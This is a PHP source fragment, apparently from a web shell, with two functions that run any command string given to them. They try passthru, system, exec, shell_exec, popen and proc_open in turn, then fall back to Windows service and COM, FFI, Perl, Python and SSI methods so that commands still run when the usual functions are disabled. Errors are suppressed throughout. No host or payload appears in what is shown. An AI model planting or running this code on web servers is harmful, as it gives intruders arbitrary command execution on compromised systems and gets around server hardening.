function Exe($command)
{
$exec = $output = '';
$dep[] = array('pipe', 'r');
$dep[] = array('pipe', 'w');
if (function_exists('passthru')) {
ob_start();
@passthru($command);
$exec = ob_get_contents();
ob_clean();
ob_end_clean();
} elseif (function_exists('system')) {
$tmp = ob_get_contents();
ob_clean();
@system($command);
$output = ob_get_contents();
ob_clean();
$exec = $tmp;
} elseif (function_exists('exec')) {
@exec($command, $output);
$output = join("\n", $output);
$exec = $output;
} elseif (function_exists('shell_exec')) {
$exec = @shell_exec($command);
} elseif (function_exists('popen')) {
$output = @popen($command, 'r');
while (!feof($output)) {
$exec = fgets($output);
}
pclose($output);
} elseif (function_exists('proc_open')) {
$res = @proc_open($command, $dep, $pipes);
while (!feof($pipes[1])) {
$line = fgets($pipes[1]);
$output .= $line;
}
$exec = $output;
proc_close($res);
} elseif (function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$exec = winshelL($command);
} elseif (function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$exec = srvshelL($command);
} elseif (extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$exec = ffishelL($command);
} elseif (extension_loaded('perl')) {
$exec = perlshelL($command);
}
return $exec;
}
function shelL($command)
{
global $windows;
$exec = $output = '';
$dep[] = array('pipe', 'r');
$dep[] = array('pipe', 'w');
if (checkfunctioN('passthru')) {
ob_start();
passthru($command);
$exec = ob_get_contents();
ob_clean();
ob_end_clean();
} elseif (checkfunctioN('system')) {
$tmp = ob_get_contents();
ob_clean();
system($command);
$output = ob_get_contents();
ob_clean();
$exec = $tmp;
} elseif (checkfunctioN('exec')) {
exec($command, $output);
$output = join("\n", $output);
$exec = $output;
} elseif (checkfunctioN('shell_exec')) {
$exec = shell_exec($command);
} elseif (checkfunctioN('popen')) {
$output = popen($command, 'r');
while (!feof($output)) {
$exec = fgets($output);
}
pclose($output);
} elseif (checkfunctioN('proc_open')) {
$res = proc_open($command, $dep, $pipes);
while (!feof($pipes[1])) {
$line = fgets($pipes[1]);
$output .= $line;
}
$exec = $output;
proc_close($res);
} elseif (checkfunctioN('win_shell_execute')) {
$exec = winshelL($command);
} elseif (checkfunctioN('win32_create_service')) {
$exec = srvshelL($command);
} elseif (extension_loaded('ffi') && $windows) {
$exec = ffishelL($command);
} elseif (extension_loaded('perl')) {
$exec = perlshelL($command);
} elseif (extension_loaded('python')) {
$exec = pythonshelL($command);
} elseif ($windows && class_exists('COM')) {
$ws = new COM('WScript.Shell');
$exec = comshelL($command, $ws);
} elseif (is_writable(dirname($_SERVER["SCRIPT_FILENAME"]))) {
$exec = perlwshelL($command);
if (!$exec) {
$exec = ssishelL($command);
}
}
return $exec;
}
